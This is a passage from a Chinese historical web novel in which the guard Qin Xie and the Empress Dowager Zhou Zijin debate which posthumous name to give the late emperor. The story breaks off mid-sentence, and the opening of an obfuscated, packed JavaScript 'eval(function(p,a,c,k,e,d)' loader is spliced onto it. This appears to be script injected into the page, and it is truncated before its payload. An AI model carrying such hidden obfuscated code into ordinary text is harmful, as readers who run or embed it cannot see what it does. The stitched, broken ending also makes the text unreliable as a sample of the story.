秦携的目光落在那条长长的宫道上,青石板被岁月磨得光滑,这条路他走过无数次,有时是带着禁军巡逻,有时是去凤仪宫送东西。
今日走在这条路上,心情却与往日全然不同,那道素白的身影就在他身前,近得能闻见她身上淡淡的苏合香。
“太后娘娘。”秦携低声开口。
周子衿回头看了他一眼,嘴角微微弯起:“怎么?”
“谥号的事。”秦携斟酌着措辞,“娘娘可想好了?”
周子衿没有立刻回答,目光落在远处那一片灰蒙蒙的天际线上,像是在看什么很遥远的东西,过了好一会儿,才轻轻开口:“你觉得呢?”
秦携没想到她会反问,微微一愣。
若是旁人,他会说“臣不敢妄议”,可对着周子衿,秦携有什么便说什么。
“幽”字太偏,“炀”字太重,“厉”字太刻,剩下的那个字——
“灵字。”秦携说。
周子衿的嘴角又弯了几分,没有说他说得对不对,只问:“说说看,为什么不是厉?”
秦携斟酌如何把话说得既不逾矩。
“杜怀仁说的那些话,臣都听见了,但他说的,是臣子想说的话,不是皇帝该受的谥号。”秦携想了想,道,“‘厉’字刻毒,后世史官落笔,骂的不仅是先帝,也是大渝,太后娘娘如今坐在那个位子上,要为江山社稷着想,不能只为出一口气。”
周子衿轻轻“嗯”了一声。。
“况且。”秦携顿了顿,“厉字落在先帝身上,旁人会怎么说太后娘娘?会说娘娘刻薄寡恩,会说娘娘不念夫妻之情,灵字就不同了,后世只会说娘娘公允。”
宫道拐了个弯,凤仪宫的红墙远远地露了出来,墙头的琉璃瓦在日光下泛着金色的光。
“你很会揣摩我的心思。”周子衿夹杂着笑意和一抹意味深长,“之前是,如今也是。”
秦携的心猛地跳了一下,不敢接这话。
周子衿见秦携这样,心情有些好,唇角上扬得更明显。
走到凤仪宫门口,周子衿才停下脚步,日光从她身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(